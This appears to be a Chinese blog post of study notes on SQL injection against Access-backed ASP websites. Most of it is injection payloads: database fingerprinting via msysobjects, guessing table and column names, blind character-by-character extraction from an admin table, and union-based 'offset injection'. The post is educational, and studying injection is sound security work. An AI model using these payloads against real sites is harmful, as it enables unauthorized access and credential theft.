首页 > 数据库 >Access数据库

Access数据库

时间:2024-04-08 09:03:16浏览次数:21  
标签:access exists 数据库 段数 Access 列名 select

  • access是没有数据库的;只有表
  • 流程
    • 判断数据库类型--->判断表名----> 判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据
  • asp网站常用数据库:access和mssql数据库
  • 判断数据库
    • 如果有msysobjects则是access数据库;如果有sysobjects则是sqlsever数据库
    • and exists (select * from msysobjects)>0 access
    • and exists (select * from sysobjects)>0 sqlserver
  • 查表
    • and exists (select * from 表名)
  • 查列名
    • and exists (select 列名 from 表名)
  • 判断列名长度
    • and (select top 1 len(列名) from 表名)>5 :列名是否大于5
  • 逐字符爆破
    • and (select top 1 asc(mid(user,1,1)) from admin)=97
    • asc() 返回字符的ascii码
    • top 1 :只返回最上面一条数据
  • 偏移注入(需要结合联合查询)
    • 联合查询补充字段数=当前表的字段数-查询表的字段数*N
    • union select 1,2,3,4,5,,,* from admin_user :*代表了admin_user的总字段数的倍数
  • 通用性防注入
    • 将输入的行为存放到sqlin.asp文件中;类似于日志
    • 该操作会导致文件木马程序的执行;相当于文件上传了

标签:access,exists,数据库,段数,Access,列名,select
From: https://blog.csdn.net/I_WORM/article/details/137490232

相关文章

  • 【SQL】数据定义语言(DDL):包括创建、修改和删除数据库对象
    数据定义语言(DDL)是用于定义和管理数据库中的数据结构和对象的SQL语言子集。它允许用户创建、修改和删除数据库中的表、索引、触发器、序列、存储过程等对象。DDL语句在数据库系统中执行时,通常会影响整个数据库的结构,而不是单个的数据记录。以下是DDL中一些常用语句的详细介绍......
  • 【数据库】MySQL数据库学习涵盖的多个方面
    数据库基础概念:数据库的概念和分类:了解什么是数据库以及常见的数据库类型。关系型数据库管理系统(RDBMS):理解RDBMS的概念及其在数据库管理中的作用。MySQL安装与配置:安装MySQL:学习如何在不同操作系统上安装MySQL数据库服务器。配置MySQL:包括设置root密码、配置网络连接、调整......
  • 解析以及探讨数据库技术及其应用
    一,引言    数据库作为信息时代的基石,是一种用于高效存储、管理和检索大量结构化数据的系统。它的核心价值在于提供了一种可靠且可扩展的方式,将复杂多样的数据按照特定结构和规则组织起来,以便于不同用户和应用程序进行访问和使用。数据库技术的发展历程始于20世纪60年......
  • sqlserver数据库端口号怎么修改
    sqlserver数据库端口号修改方法:确定当前端口号(select@@serverport;)通过sqlserver配置管理对象(smo)修改通过sqlserver配置管理器修改通过注册表编辑器修改通过命令行修改(scconfigmssqlserver port=1433)SQLServer数据库端口号修改方法1.确定当前端口号<......
  • windows下使用mysqldump备份数据库并上传到阿里云OSS
    使用mysqldump备份表powershell下使用|Out-file-Encodingutf8设置字符格式.\mysqldump.exe--single-transaction--user=root--password=123456--host127.0.0.1--port3306--default-character-set=utf8--hex-blob--routines--events"database_name"|Out......
  • 【调优】从吞吐量角度提升数据库整体性能
    不严谨的说:对数据库的使用就是I/O操作!因此,如果有效的提升了数据库系统对磁盘的I/O,那么可以说整体性能就会得到有效地提升。本文尝试给出一些最常被使用到的提升系统吞吐量的策略,希望起到抛砖引玉的效果。1.尽量保证在内存中完成数据库操作众所周知,内存的读写效率远远高于磁盘的读......
  • 永不生锈的螺丝钉!一款简洁好用的数据库表结构文档生成器
    大家好,我是Java陈序员。在企业级开发中,我们经常会有编写数据库表结构文档的需求,常常需要手写维护文档,很是繁琐。今天,给大家介绍一款数据库表结构文档生成工具。关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。项目介绍screw......
  • 《计算机网络与数据库技术》-上机实验六
    一.【实验目的】(1)掌握变量的使用方法。(2)掌握函数的使用方法。(3)掌握Transact-SQL编程二、【实验准备】(1)已经接入局域网的网络实验室。(2)机器上已安装SQLServer。三.【实验内容】(1)用Transact-SQL编程:先为两个变量@x和@y赋值,然后求这两个变量的......
  • 数据库建表步骤
    根据三范式进行业务建模1)第一范式是指数据库表中的每个字段都是原子性的,即不可再分的。  例如:学生表,字段如下,其中班级字段就需要再次拆分,拆分后的属性如图2学生表id学生姓名学生年龄学生性别班级1张三8男一年级二班2李四8男一年级一班图一学生表id学生姓名学生年龄......
  • 零基础轻松入门Java数据库连接(JDBC)
    什么是JDBC?Java数据库连接(JDBC)就像是Java程序和数据库之间的翻译官。它是一个官方的标准接口集,让Java程序能和不同的数据库“对话”。甭管你是在跟MySQL、Oracle还是SQLServer打交道,只要有了JDBC,Java就能用统一的方式去执行查询、更新数据库的操作。为什么我们需要JDBC?......